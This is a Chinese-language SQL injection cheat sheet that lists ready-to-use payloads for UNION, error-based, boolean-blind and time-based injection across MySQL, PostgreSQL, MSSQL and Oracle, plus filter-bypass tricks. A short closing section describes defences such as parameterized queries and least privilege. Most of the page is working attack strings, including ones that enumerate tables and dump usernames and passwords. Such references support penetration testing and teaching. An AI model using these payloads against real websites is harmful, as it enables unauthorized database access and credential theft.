💉 SQL注入速查

SQL注入速查,联合/报错/盲注/时间注入向量和防护

联合注入
报错注入
布尔盲注
时间盲注
绕过技巧
防护
联合查询注入 (UNION)
' ORDER BY 1-- -
确定列数
' UNION SELECT 1,2,3-- -
确定显示位
' UNION SELECT version(),database(),user()-- -
获取版本/数据库/用户 MySQL
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()-- -
获取表名 MySQL
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'-- -
获取列名
' UNION SELECT username,password,3 FROM users-- -
获取数据
' UNION SELECT version(),current_database(),current_user-- -
PostgreSQL信息 PG
' UNION SELECT @@version,db_name(),user-- -
MSSQL信息 MSSQL
报错注入
' AND extractvalue(1,concat(0x7e,version()))-- -
extractvalue报错 MySQL
' AND updatexml(1,concat(0x7e,database()),1)-- -
updatexml报错 MySQL
' AND (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
floor报错 MySQL
1 AND CAST(version() AS int)-- -
类型转换报错 PGMSSQL
1||utl_inaddr.get_host_name(version())-- -
Oracle报错 Oracle
布尔盲注
' AND 1=1-- -
真条件(页面正常)
' AND 1=2-- -
假条件(页面异常)
' AND (SELECT length(database()))>5-- -
判断数据库名长度
' AND (SELECT ascii(substr(database(),1,1)))>97-- -
逐字符猜解数据库名
' AND (SELECT count(*) FROM users)>0-- -
判断表是否存在
时间盲注
' AND SLEEP(5)-- -
MySQL SLEEP MySQL
' AND IF(1=1,SLEEP(5),0)-- -
MySQL条件延迟 MySQL
' AND pg_sleep(5)-- -
PostgreSQL延迟 PG
' AND WAITFOR DELAY '0:0:5'-- -
MSSQL延迟 MSSQL
1 AND dbms_pipe.receive_message('a',5)-- -
Oracle延迟 Oracle
绕过技巧
1' oR 1=1-- -
大小写混合绕过关键字过滤
1'/**/OR/**/1=1-- -
注释绕过空格过滤
1'%0aOR%0a1=1-- -
换行符绕过空格过滤
1' || '1'='1
双管道绕过OR过滤
0x61646D696E
十六进制绕过字符串过滤(admin)
CHAR(97,100,109,105,110)
CHAR编码绕过
SEL<>ECT * FROM users
嵌套绕过关键字过滤
🛡️ 防护措施
// 1. 参数化查询(最有效) // Node.js + MySQL const sql = 'SELECT * FROM users WHERE id = ?'; db.query(sql, [userId]); // Python + psycopg2 cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,)) // Java + PreparedStatement PreparedStatement ps = conn.prepareStatement( 'SELECT * FROM users WHERE id = ?'); ps.setInt(1, userId); // 2. 使用ORM框架 // Sequelize / TypeORM / SQLAlchemy / Hibernate // 3. 输入验证 // 白名单验证:仅允许预期字符 // 类型检查:确保数字参数确实是数字 // 4. 最小权限 // 应用数据库账户仅授予必要权限 // 禁止DROP/ALTER/FILE等高危权限 // 5. WAF规则 // 检测常见SQL注入模式 // 限制错误信息输出